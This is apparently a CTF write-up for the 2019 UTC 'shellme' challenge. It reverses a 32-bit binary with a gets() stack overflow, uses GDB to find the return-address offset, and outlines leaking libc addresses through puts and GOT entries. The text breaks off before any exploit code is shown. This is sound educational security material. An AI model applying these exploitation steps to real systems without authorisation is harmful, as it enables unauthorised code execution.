## Utc 2019 shellme

Let's take a look at the binary:

```
$    file server
server: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=be2f490cdd60374344e1075c9dd31060666bd524, not stripped
$    pwn checksec server
[*] '/Hackery/utc/shelltime/server'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
$    ./server

Legend: buff MODIFIED padding MODIFIED
  notsecret MODIFIED secret MODIFIED
  return address MODIFIED
0xffde2de0 | 00 00 00 00 00 00 00 00 |
0xffde2de8 | 00 00 00 00 00 00 00 00 |
0xffde2df0 | 00 00 00 00 00 00 00 00 |
0xffde2df8 | 00 00 00 00 00 00 00 00 |
0xffde2e00 | ff ff ff ff ff ff ff ff |
0xffde2e08 | ff ff ff ff ff ff ff ff |
0xffde2e10 | 80 75 ec f7 00 a0 04 08 |
0xffde2e18 | 28 2e de ff 8b 86 04 08 |
Return address: 0x0804868b

Input some text:[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]00000000

Legend: buff MODIFIED padding MODIFIED
  notsecret MODIFIED secret MODIFIED
  return address MODIFIED
0xffde2de0 | 30 30 30 30 30 30 30 30 |
0xffde2de8 | 30 30 30 30 30 30 30 30 |
0xffde2df0 | 30 30 30 30 30 30 30 30 |
0xffde2df8 | 30 30 30 30 30 30 30 30 |
0xffde2e00 | 30 30 30 30 30 30 30 30 |
0xffde2e08 | 30 30 30 30 30 30 30 30 |
0xffde2e10 | 30 30 30 30 30 30 30 30 |
0xffde2e18 | 30 30 00 ff 8b 86 04 08 |
Return address: 0x0804868b

Segmentation fault (core dumped)
```

So we can see we are dealing with a `32` bit binary, with `NX` enabled. When we run the binary, we get what looks like a buffer overflow.

### Reversing

When we take a look at the `vuln` function in ghidra (`0x080485b1`) we see this:

```
/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */

void vuln(void)

{
  char acStack60 [32];
  undefined local_1c [20];
 
  memset(acStack60,0,0x20);
  memset(local_1c,0xff,0x10);
  init_visualize(acStack60);
  visualize(acStack60);
  printf("Input some text: ");
  gets(acStack60);
  visualize(acStack60);
  return;
}
```

So we can see that there is a buffer overflow with `gets`. Since there is no stack canary, we can overwrite the return address and get code execution. Let's see how far away the return address is from the start of our input:

```
gef➤  b *vuln+119
Breakpoint 1 at 0x8048628
gef➤  r
Starting program: /Hackery/utc/shelltime/server

Legend: buff MODIFIED padding MODIFIED
  notsecret MODIFIED secret MODIFIED
  return address MODIFIED
0xffffd160 | 00 00 00 00 00 00 00 00 |
0xffffd168 | 00 00 00 00 00 00 00 00 |
0xffffd170 | 00 00 00 00 00 00 00 00 |
0xffffd178 | 00 00 00 00 00 00 00 00 |
0xffffd180 | ff ff ff ff ff ff ff ff |
0xffffd188 | ff ff ff ff ff ff ff ff |
0xffffd190 | 80 45 fb f7 00 a0 04 08 |
0xffffd198 | a8 d1 ff ff 8b 86 04 08 |
Return address: 0x0804868b

Input some text: 15935728

Breakpoint 1, 0x08048628 in vuln ()
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax   : 0xffffd160  →  "15935728"
$ebx   : 0x0804a000  →  0x08049f0c  →  0x00000001
$ecx   : 0xf7fb4580  →  0xfbad208b
$edx   : 0xffffd168  →  0x00000000
$esp   : 0xffffd150  →  0xffffd160  →  "15935728"
$ebp   : 0xffffd198  →  0xffffd1a8  →  0x00000000
$esi   : 0xf7fb4000  →  0x001e8d6c
$edi   : 0xf7fb4000  →  0x001e8d6c
$eip   : 0x08048628  →  <vuln+119> add esp, 0x10
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffd150│+0x0000: 0xffffd160  →  "15935728"     ← $esp
0xffffd154│+0x0004: 0x000000ff
0xffffd158│+0x0008: 0x00000010
0xffffd15c│+0x000c: 0x080485bd  →  <vuln+12> add ebx, 0x1a43
0xffffd160│+0x0010: "15935728"
0xffffd164│+0x0014: "5728"
0xffffd168│+0x0018: 0x00000000
0xffffd16c│+0x001c: 0x00000000
──────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
    0x804861f <vuln+110>       lea    eax, [ebp-0x38]
    0x8048622 <vuln+113>       push   eax
    0x8048623 <vuln+114>       call   0x8048400 <gets@plt>
 →  0x8048628 <vuln+119>       add    esp, 0x10
    0x804862b <vuln+122>       sub    esp, 0xc
    0x804862e <vuln+125>       lea    eax, [ebp-0x38]
    0x8048631 <vuln+128>       push   eax
    0x8048632 <vuln+129>       call   0x80486e1 <visualize>
    0x8048637 <vuln+134>       add    esp, 0x10
──────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "server", stopped, reason: BREAKPOINT
────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x8048628 → vuln()
[#1] 0x804868b → main()
─────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤  search-pattern 15935728
[+] Searching '15935728' in memory
[+] In '[stack]'(0xfffdd000-0xffffe000), permission=rw-
  0xffffd160 - 0xffffd168  →   "15935728"
gef➤  i f
Stack level 0, frame at 0xffffd1a0:
 eip = 0x8048628 in vuln; saved eip = 0x804868b
 called by frame at 0xffffd1c0
 Arglist at 0xffffd198, args:
 Locals at 0xffffd198, Previous frame's sp is 0xffffd1a0
 Saved registers:
  ebx at 0xffffd194, ebp at 0xffffd198, eip at 0xffffd19c
```

So we can see that the offset to the return address from the start of our input is `0xffffd19c - 0xffffd160 = 0x3c` bytes.

### Exploitation

So we can call an instruction pointer, however the difficulty is what to call. When I solved this challenge during the ctf, I decided to go with leaking a libc address, and using things from libc. However there was one problem with that. We aren't given the libc version. Luckily I had just finished a new tool which is for identifying remote libc versions. All we need is just two libc infoleaks, and it can identify possible remote libc versions.

First off, since PIE isn't enabled we can call imported functions. We also see that `puts` is enabled:

```
$    objdump -D server | grep puts
08048410 <puts@plt>:
 8048704:    e8 07 fd ff ff           call   8048410 <puts@plt>
 8048716:    e8 f5 fc ff ff           call   8048410 <puts@plt>
 8048846:    e8 c5 fb ff ff           call   8048410 <puts@plt>
 8048881:    e8 8a fb ff ff           call   8048410 <puts@plt>
```

So we can just call `puts` twice, with the address being the `got` address for `puts` and `gets`. The got address holds the libc address for the corresponding function. Now in `x86`, `puts` expects it's argument `0x4` bytes after the instruction on the stack. With that we can get our two libc addresses.

Now for actually identifying the remote libc version, we can just use the tool I mentioned earlier (https://github.com/guyinatuxedo/The_Night). All we need to do is import it into our exploit cod